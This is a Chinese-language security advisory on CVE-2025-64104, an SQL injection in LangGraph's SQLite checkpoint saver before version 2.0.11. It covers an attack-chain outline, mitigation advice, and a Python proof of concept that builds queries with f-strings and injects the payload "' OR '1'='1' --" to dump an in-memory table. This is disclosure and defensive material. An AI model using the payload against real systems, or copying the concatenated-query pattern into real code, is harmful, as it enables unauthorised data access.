IPBUF安全漏洞报告
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CVE-2025-64104 CVSS 7.3 高危

CVE-2025-64104: LangGraph SQLite Checkpoint SQL注入漏洞

披露日期: 2025-10-29

漏洞信息

漏洞编号
CVE-2025-64104
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
LangGraph SQLite Checkpoint (LangGraph < 2.0.11)

相关标签

SQL注入LangGraphSQLite高危本地攻击访问控制绕过CVE-2025-64104

漏洞概述

CVE-2025-64104是LangGraph项目中一个高危SQL注入漏洞。LangGraph是一个用于构建有状态、多参与者应用程序的框架,其SQLite Checkpoint实现提供了基于SQLite数据库的检查点保存功能(支持同步和异步操作,通过aiosqlite实现)。在2.0.11之前的版本中,该SQLite存储实现存在严重的安全缺陷:开发人员在构建SQL查询时使用了直接字符串拼接的方式,而没有采用参数化查询(Prepared Statements)进行输入过滤和转义。这一设计缺陷使得攻击者可以通过构造特殊的输入数据,向SQL查询中注入任意SQL语句,从而绕过应用程序的访问控制机制。攻击者利用此漏洞可以在数据库层面执行未授权的操作,包括但不限于读取、修改或删除敏感数据,甚至可能在特定条件下获取服务器控制权限。由于该漏洞的CVSS评分为7.3,属于高危级别,且攻击向量为本地(AV:L),需要低权限(PR:L)即可利用,因此对使用受影响版本LangGraph的应用程序构成严重威胁。建议所有用户立即升级到2.0.11或更高版本以修复此漏洞。

技术细节

该SQL注入漏洞的根本原因在于LangGraph的SQLite存储实现中,SQL查询的构建方式存在安全缺陷。开发人员在构造SQL语句时,直接将用户输入或应用程序数据拼接到SQL字符串中,而没有使用参数化查询(Prepared Statements)进行安全处理。这种不安全的编程实践允许攻击者通过在输入中注入SQL元字符和命令来操纵查询逻辑。攻击者可以构造包含SQL特殊字符(如单引号、分号、UNION等)的输入,利用字符串拼接的漏洞改变原本SQL语句的结构和执行逻辑。例如,攻击者可以通过注入恶意的thread_id或checkpoint_id值,在WHERE子句中构造永真条件或添加额外的SQL语句,从而绕过访问控制并访问未授权的数据。在某些配置下,攻击者甚至可能通过多语句执行(需要SQLite特定配置)来执行DROP TABLE等破坏性操作。修复后的版本2.0.11采用了参数化查询的方式,将用户输入作为绑定参数传递,而不是直接拼接到SQL字符串中,从而从根本上杜绝了SQL注入的可能性。

攻击链分析

STEP 1
1
攻击者识别目标应用程序使用了存在漏洞的LangGraph版本(< 2.0.11)
STEP 2
2
攻击者分析应用程序的输入点,特别是与SQLite Checkpoint交互的thread_id、checkpoint_id等参数
STEP 3
3
攻击者构造包含SQL特殊字符(如单引号、分号、UNION等)的恶意输入
STEP 4
4
通过直接字符串拼接,恶意SQL片段被注入到查询语句中,改变查询逻辑
STEP 5
5
攻击者利用注入的SQL绕过访问控制,读取未授权的checkpoint数据或执行其他恶意操作
STEP 6
6
在特定配置下,攻击者可能通过多语句执行进行更严重的攻击,如数据篡改或删除

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-64104 PoC - LangGraph SQLite Checkpoint SQL Injection Note: This is a simplified demonstration for educational purposes only. """ import sqlite3 import aiosqlite import asyncio # Vulnerable code pattern (before fix) def vulnerable_query_builder(thread_id, checkpoint_id): """ Simulates the vulnerable SQL query construction in LangGraph < 2.0.11 Direct string concatenation without parameterization """ # This is the vulnerable pattern - direct string interpolation query = f"SELECT * FROM checkpoints WHERE thread_id = '{thread_id}' AND checkpoint_id = '{checkpoint_id}'" return query # Example of SQL Injection payload def generate_sql_injection_payload(): """ Generate SQL injection payload to bypass authentication """ # Payload to inject: ' OR '1'='1' -- malicious_thread_id = "' OR '1'='1' --" malicious_checkpoint_id = "anything" return malicious_thread_id, malicious_checkpoint_id # Demonstrate the vulnerability def demonstrate_vulnerability(): # Create a test database conn = sqlite3.connect(':memory:') cursor = conn.cursor() # Create test table with sensitive data cursor.execute(''' CREATE TABLE checkpoints ( thread_id TEXT, checkpoint_id TEXT, data TEXT, access_level TEXT ) ''') # Insert test data cursor.execute("INSERT INTO checkpoints VALUES ('user1', 'ckpt1', 'secret_data_1', 'user')") cursor.execute("INSERT INTO checkpoints VALUES ('user2', 'ckpt2', 'secret_data_2', 'admin')") conn.commit() # Normal query (intended behavior) print("=== Normal Query ===") normal_query = vulnerable_query_builder('user1', 'ckpt1') print(f"Query: {normal_query}") cursor.execute(normal_query) print(f"Result: {cursor.fetchall()}") # Malicious query (SQL Injection) print("\n=== SQL Injection Attack ===") malicious_thread_id, malicious_checkpoint_id = generate_sql_injection_payload() malicious_query = vulnerable_query_builder(malicious_thread_id, malicious_checkpoint_id) print(f"Malicious Query: {malicious_query}") cursor.execute(malicious_query) print(f"Result (ALL data leaked): {cursor.fetchall()}") conn.close() # Async example for LangGraph async usage async def vulnerable_async_query(db_path, thread_id, checkpoint_id): """ Vulnerable async query pattern used in LangGraph async implementation """ async with aiosqlite.connect(db_path) as db: # Vulnerable: direct string formatting query = f"SELECT * FROM checkpoints WHERE thread_id = '{thread_id}'" async with db.execute(query) as cursor: return await cursor.fetchall() if __name__ == "__main__": demonstrate_vulnerability() print("\n[!] This PoC demonstrates the SQL injection vulnerability.") print("[!] Upgrade to LangGraph >= 2.0.11 to fix this issue.")

影响范围

LangGraph < 2.0.11

防御指南

临时缓解措施
如果无法立即升级,可以采取以下临时缓解措施:1)使用Web应用防火墙(WAF)过滤SQL注入特征;2)实施严格的输入验证和白名单机制;3)限制应用程序的网络访问;4)监控数据库查询日志以检测异常攻击行为;5)考虑临时使用其他Checkpoint实现(如PostgreSQL或Memory)替代SQLite实现。但这些措施均为临时解决方案,根本修复仍需升级到LangGraph 2.0.11或更高版本。

参考链接

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